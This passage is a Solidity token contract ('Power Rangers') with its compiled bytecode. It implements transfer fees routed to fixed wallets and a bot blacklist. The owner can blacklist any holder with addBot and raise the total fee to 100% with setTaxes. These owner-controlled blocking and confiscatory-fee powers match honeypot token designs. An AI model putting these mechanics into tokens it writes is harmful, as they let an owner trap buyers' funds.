uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
abstract contract IERC20Extented is IERC20 {
function decimals() public view virtual returns (uint8);
function name() public view virtual returns (string memory);
function symbol() public view virtual returns (string memory);
}
contract PowerRangers is Context, IERC20, IERC20Extented, Ownable {
using SafeMath for uint256;
string private constant _name = "Power Rangers";
string private constant _symbol = "Power";
uint8 private constant _decimals = 9;
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _tFeeTotal;
uint256 private _firstBlock;
uint256 private _botBlocks;
uint256 public _buybackFee = 50;
uint256 private _previousBuybackFee = _buybackFee;
uint256 public _marketingFee = 25;
uint256 private _previousMarketingFee = _marketingFee;
uint256 public _devFee = 25;
uint256 private _previousDevFee = _devFee;
uint256 public _marketingPercent = 50;
uint256 public _buybackPercent = 50;
mapping(address => bool) private bots;
address payable private _marketingAddress = payable(0xD1D935f83EA7097778EF1c98B6da39AdF8588a89);
address payable private _buybackAddress = payable(0xd26822Aa4B287670300202a6A7dDCDEA50Fb0fA3);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 private _maxTxAmount;
bool private tradingOpen = false;
bool private inSwap = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event PercentsUpdated(uint256 _marketingPercent, uint256 _buybackPercent);
event FeesUpdated(uint256 _buybackFee, uint256 _marketingFee, uint256 _devFee);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
_maxTxAmount = _tTotal; // start off transaction limit at 100% of total supply
balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_buybackAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() override public pure returns (string memory) {
return _name;
}
function symbol() override public pure returns (string memory) {
return _symbol;
}
function decimals() override public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() private {
if (_marketingFee == 0 && _buybackFee == 0 && _devFee == 0) return;
_previousMarketingFee = _marketingFee;
_previousBuybackFee = _buybackFee;
_previousDevFee = _devFee;
_marketingFee = 0;
_buybackFee = 0;
_devFee = 0;
}
function restoreAllFee() private {
_marketingFee = _previousMarketingFee;
_buybackFee = _previousBuybackFee;
_devFee = _previousDevFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(tradingOpen);
require(amount <= _maxTxAmount);
if (block.timestamp <= _firstBlock + (5 minutes)) {
require(amount <= _tTotal.div(100));
}
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
if (block.timestamp <= _firstBlock.add(_botBlocks)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(!bots[to] && !bots[from]);
if (contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount.mul(_marketingPercent).div(100));
_buybackAddress.transfer(amount.mul(_buybackPercent).div(100));
}
function openTrading(uint256 botBlocks) external onlyOwner() {
_firstBlock = block.timestamp;
_botBlocks = botBlocks;
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
if (!takeFee) removeAllFee();
(uint256 tTransferAmount, uint256 tBuyback, uint256 tMarketing, uint256 tDev) = _getValues(tAmount);
balances[sender] = balances[sender].sub(tAmount);
balances[recipient] = balances[recipient].add(tTransferAmount);
_takeBuyback(tBuyback);
_takeMarketing(tMarketing);
_takeDev(tDev);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeBuyback(uint256 tBuyback) private {
balances[address(this)] = balances[address(this)].add(tBuyback);
}
function _takeMarketing(uint256 tMarketing) private {
balances[address(this)] = balances[address(this)].add(tMarketing);
}
function _takeDev(uint256 tDev) private {
balances[address(this)] = balances[address(this)].add(tDev);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tBuyback = tAmount.mul(_buybackFee).div(1000);
uint256 tMarketing = tAmount.mul(_marketingFee).div(1000);
uint256 tDev = tAmount.mul(_devFee).div(1000);
uint256 tTransferAmount = tAmount.sub(tBuyback).sub(tMarketing);
tTransferAmount -= tDev;
return (tTransferAmount, tBuyback, tMarketing, tDev);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function removeBot(address account) public onlyOwner() {
bots[account] = false;
}
function addBot(address account) public onlyOwner() {
bots[account] = true;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setPercents(uint256 marketingPercent, uint256 buybackPercent) external onlyOwner() {
require(marketingPercent.add(buybackPercent) == 100, "Sum of percents must equal 100");
_marketingPercent = marketingPercent;
_buybackPercent = buybackPercent;
emit PercentsUpdated(_marketingPercent, _buybackPercent);
}
function setTaxes(uint256 marketingFee, uint256 buybackFee, uint256 devFee) external onlyOwner() {
require(marketingFee.add(buybackFee).add(devFee) <= 1000, "Sum of sell fees must be less than 1000");
_marketingFee = marketingFee;
_buybackFee = buybackFee;
_devFee = devFee;
_previousMarketingFee = _marketingFee;
_previousBuybackFee = _buybackFee;
_previousDevFee = _devFee;
emit FeesUpdated(_marketingFee, _buybackFee, _devFee);
}
}
|
0x6080604052600436106101a05760003560e01c8063770d9907116100ec578063d16336491161008a578063e1d7eefd11610064578063e1d7eefd1461059d578063e9dae5ed146105c8578063ea2f0b37146105f1578063ffecf5161461061a576101a7565b8063d16336491461050e578063d543dbeb14610537578063dd62ed3e14610560576101a7565b8063a9059cbb116100c6578063a9059cbb14610466578063aa45026b146104a3578063b44a14b6146104ce578063c3c8cd80146104f7576101a7565b8063770d9907146103e55780638da5cb5b1461041057806395d89b411461043b576101a7565b8063313ce567116101595780635fecd926116101335780635fecd926146103515780636fc3eaec1461037a57806370a0823114610391578063715018a6146103ce576101a7565b8063313ce567146102d2578063437823ec146102fd57806349bd5a5e14610326576101a7565b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461021457806319de79ab1461023f57806322976e0d1461026a57806323b872dd14610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610643565b6040516101ce9190612bc7565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190612817565b610680565b60405161020b9190612bac565b60405180910390f35b34801561022057600080fd5b5061022961069e565b6040516102369190612d49565b60405180910390f35b34801561024b57600080fd5b506102546106af565b6040516102619190612d49565b60405180910390f35b34801561027657600080fd5b5061027f6106b5565b60405161028c9190612d49565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b791906127c8565b6106bb565b6040516102c99190612bac565b60405180910390f35b3480156102de57600080fd5b506102e7610794565b6040516102f49190612e1e565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f919061273a565b61079d565b005b34801561033257600080fd5b5061033b61088d565b6040516103489190612b91565b60405180910390f35b34801561035d57600080fd5b506103786004803603810190610373919061273a565b6108b3565b005b34801561038657600080fd5b5061038f6109a3565b005b34801561039d57600080fd5b506103b860048036038101906103b3919061273a565b610a15565b6040516103c59190612d49565b60405180910390f35b3480156103da57600080fd5b506103e3610a5e565b005b3480156103f157600080fd5b506103fa610bb1565b6040516104079190612d49565b60405180910390f35b34801561041c57600080fd5b50610425610bb7565b6040516104329190612b91565b60405180910390f35b34801561044757600080fd5b50610450610be0565b60405161045d9190612bc7565b60405180910390f35b34801561047257600080fd5b5061048d60048036038101906104889190612817565b610c1d565b60405161049a9190612bac565b60405180910390f35b3480156104af57600080fd5b506104b8610c3b565b6040516104c59190612d49565b60405180910390f35b3480156104da57600080fd5b506104f560048036038101906104f0919061287c565b610c41565b005b34801561050357600080fd5b5061050c610d7a565b005b34801561051a57600080fd5b5061053560048036038101906105309190612853565b610df4565b005b34801561054357600080fd5b5061055e60048036038101906105599190612853565b610eb5565b005b34801561056c57600080fd5b506105876004803603810190610582919061278c565b610ffe565b6040516105949190612d49565b60405180910390f35b3480156105a957600080fd5b506105b2611085565b6040516105bf9190612d49565b60405180910390f35b3480156105d457600080fd5b506105ef60048036038101906105ea91906128b8565b61108b565b005b3480156105fd57600080fd5b506106186004803603810190610613919061273a565b6111ff565b005b34801561062657600080fd5b50610641600480360381019061063c919061273a565b6112ef565b005b60606040518060400160405280600d81526020017f506f7765722052616e6765727300000000000000000000000000000000000000815250905090565b600061069461068d6113df565b84846113e7565b6001905092915050565b6000683635c9adc5dea00000905090565b60085481565b600a5481565b60006106c88484846115b2565b610789846106d46113df565b610784856040518060600160405280602881526020016133a860289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061073a6113df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611baf9092919063ffffffff16565b6113e7565b600190509392505050565b60006009905090565b6107a56113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610832576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082990612ca9565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108bb6113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093f90612ca9565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109e46113df565b73ffffffffffffffffffffffffffffffffffffffff1614610a0457600080fd5b6000479050610a1281611c13565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a666113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea90612ca9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f506f776572000000000000000000000000000000000000000000000000000000815250905090565b6000610c31610c2a6113df565b84846115b2565b6001905092915050565b600c5481565b610c496113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccd90612ca9565b60405180910390fd5b6064610ceb8284611d3690919063ffffffff16565b14610d2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2290612ce9565b60405180910390fd5b81600e8190555080600f819055507f012f5df73148ec03a4ac44111fcf100a014ee232c9f1b328180ab5f3996821e5600e54600f54604051610d6e929190612dbe565b60405180910390a15050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dbb6113df565b73ffffffffffffffffffffffffffffffffffffffff1614610ddb57600080fd5b6000610de630610a15565b9050610df181611d94565b50565b610dfc6113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8090612ca9565b60405180910390fd5b42600681905550806007819055506001601660006101000a81548160ff02191690831515021790555050565b610ebd6113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4190612ca9565b60405180910390fd5b60008111610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490612c49565b60405180910390fd5b610fbc6064610fae83683635c9adc5dea0000061208e90919063ffffffff16565b61210990919063ffffffff16565b6015819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601554604051610ff39190612d49565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b6110936113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111790612ca9565b60405180910390fd5b6103e86111488261113a8587611d3690919063ffffffff16565b611d3690919063ffffffff16565b1115611189576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118090612c69565b60405180910390fd5b82600a819055508160088190555080600c81905550600a54600b81905550600854600981905550600c54600d819055507fcf8a1e1d5f09cf3c97dbb653cd9a4d7aace9292fbc1bb8211febf2d400febbdd600a54600854600c546040516111f293929190612de7565b60405180910390a1505050565b6112076113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611294576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128b90612ca9565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6112f76113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90612ca9565b60405180910390fd5b6001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144e90612d29565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612c09565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115a59190612d49565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611622576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161990612d09565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168990612be9565b60405180910390fd5b600081116116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cc90612cc9565b60405180910390fd5b6116dd610bb7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561174b575061171b610bb7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ae457601660009054906101000a900460ff1661176957600080fd5b60155481111561177857600080fd5b61012c6006546117889190612e8e565b42116117b8576117ab6064683635c9adc5dea0000061210990919063ffffffff16565b8111156117b757600080fd5b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118635750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118df5761187f600754600654611d3690919063ffffffff16565b42116118de576001601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b60006118ea30610a15565b9050601660019054906101000a900460ff161580156119575750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119ad5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a035750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ae257601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611aac5750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ab557600080fd5b6000811115611ac857611ac781611d94565b5b60004790506000811115611ae057611adf47611c13565b5b505b505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b8b5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b9557600090505b611ba184848484612153565b611ba961232c565b50505050565b6000838311158290611bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bee9190612bc7565b60405180910390fd5b5060008385611c069190612f6f565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c776064611c69600e548661208e90919063ffffffff16565b61210990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ca2573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d076064611cf9600f548661208e90919063ffffffff16565b61210990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d32573d6000803e3d6000fd5b5050565b6000808284611d459190612e8e565b905083811015611d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8190612c29565b60405180910390fd5b8091505092915050565b6001601660016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611df2577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e205781602001602082028036833780820191505090505b5090503081600081518110611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f0057600080fd5b505afa158015611f14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f389190612763565b81600181518110611f72577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd930601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113e7565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203d959493929190612d64565b600060405180830381600087803b15801561205757600080fd5b505af115801561206b573d6000803e3d6000fd5b50505050506000601660016101000a81548160ff02191690831515021790555050565b6000808314156120a15760009050612103565b600082846120af9190612f15565b90508284826120be9190612ee4565b146120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f590612c89565b60405180910390fd5b809150505b92915050565b600061214b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612349565b905092915050565b80612161576121606123ac565b5b6000806000806121708661240e565b93509350935093506121ca86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061225f84600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3690919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122ab83612533565b6122b4826125cb565b6122bd81612663565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161231a9190612d49565b60405180910390a35050505050505050565b600b54600a81905550600954600881905550600d54600c81905550565b60008083118290612390576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123879190612bc7565b60405180910390fd5b506000838561239f9190612ee4565b9050809150509392505050565b6000600a541480156123c057506000600854145b80156123ce57506000600c54145b156123d85761240c565b600a54600b81905550600854600981905550600c54600d819055506000600a8190555060006008819055506000600c819055505b565b600080600080600061243f6103e86124316008548961208e90919063ffffffff16565b61210990919063ffffffff16565b9050600061246c6103e861245e600a548a61208e90919063ffffffff16565b61210990919063ffffffff16565b905060006124996103e861248b600c548b61208e90919063ffffffff16565b61210990919063ffffffff16565b905060006124c2836124b4868c6124e990919063ffffffff16565b6124e990919063ffffffff16565b905081816124d09190612f6f565b9050808484849750975097509750505050509193509193565b600061252b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611baf565b905092915050565b61258581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b61261d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6126b581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60008135905061270a81613379565b92915050565b60008151905061271f81613379565b92915050565b60008135905061273481613390565b92915050565b60006020828403121561274c57600080fd5b600061275a848285016126fb565b91505092915050565b60006020828403121561277557600080fd5b600061278384828501612710565b91505092915050565b6000806040838503121561279f57600080fd5b60006127ad858286016126fb565b92505060206127be858286016126fb565b9150509250929050565b6000806000606084860312156127dd57600080fd5b60006127eb868287016126fb565b93505060206127fc868287016126fb565b925050604061280d86828701612725565b9150509250925092565b6000806040838503121561282a57600080fd5b6000612838858286016126fb565b925050602061284985828601612725565b9150509250929050565b60006020828403121561286557600080fd5b600061287384828501612725565b91505092915050565b6000806040838503121561288f57600080fd5b600061289d85828601612725565b92505060206128ae85828601612725565b9150509250929050565b6000806000606084860312156128cd57600080fd5b60006128db86828701612725565b93505060206128ec86828701612725565b92505060406128fd86828701612725565b9150509250925092565b6000612913838361291f565b60208301905092915050565b61292881612fa3565b82525050565b61293781612fa3565b82525050565b600061294882612e49565b6129528185612e6c565b935061295d83612e39565b8060005b8381101561298e5781516129758882612907565b975061298083612e5f565b925050600181019050612961565b5085935050505092915050565b6129a481612fb5565b82525050565b6129b381612ff8565b82525050565b60006129c482612e54565b6129ce8185612e7d565b93506129de81856020860161300a565b6129e78161309b565b840191505092915050565b60006129ff602383612e7d565b9150612a0a826130ac565b604082019050919050565b6000612a22602283612e7d565b9150612a2d826130fb565b604082019050919050565b6000612a45601b83612e7d565b9150612a508261314a565b602082019050919050565b6000612a68601d83612e7d565b9150612a7382613173565b602082019050919050565b6000612a8b602783612e7d565b9150612a968261319c565b604082019050919050565b6000612aae602183612e7d565b9150612ab9826131eb565b604082019050919050565b6000612ad1602083612e7d565b9150612adc8261323a565b602082019050919050565b6000612af4602983612e7d565b9150612aff82613263565b604082019050919050565b6000612b17601e83612e7d565b9150612b22826132b2565b602082019050919050565b6000612b3a602583612e7d565b9150612b45826132db565b604082019050919050565b6000612b5d602483612e7d565b9150612b688261332a565b604082019050919050565b612b7c81612fe1565b82525050565b612b8b81612feb565b82525050565b6000602082019050612ba6600083018461292e565b92915050565b6000602082019050612bc1600083018461299b565b92915050565b60006020820190508181036000830152612be181846129b9565b905092915050565b60006020820190508181036000830152612c02816129f2565b9050919050565b60006020820190508181036000830152612c2281612a15565b9050919050565b60006020820190508181036000830152612c4281612a38565b9050919050565b60006020820190508181036000830152612c6281612a5b565b9050919050565b60006020820190508181036000830152612c8281612a7e565b9050919050565b60006020820190508181036000830152612ca281612aa1565b9050919050565b60006020820190508181036000830152612cc281612ac4565b9050919050565b60006020820190508181036000830152612ce281612ae7565b9050919050565b60006020820190508181036000830152612d0281612b0a565b9050919050565b60006020820190508181036000830152612d2281612b2d565b9050919050565b60006020820190508181036000830152612d4281612b50565b9050919050565b6000602082019050612d5e6000830184612b73565b92915050565b600060a082019050612d796000830188612b73565b612d8660208301876129aa565b8181036040830152612d98818661293d565b9050612da7606083018561292e565b612db46080830184612b73565b9695505050505050565b6000604082019050612dd36000830185612b73565b612de06020830184612b73565b9392505050565b6000606082019050612dfc6000830186612b73565b612e096020830185612b73565b612e166040830184612b73565b949350505050565b6000602082019050612e336000830184612b82565b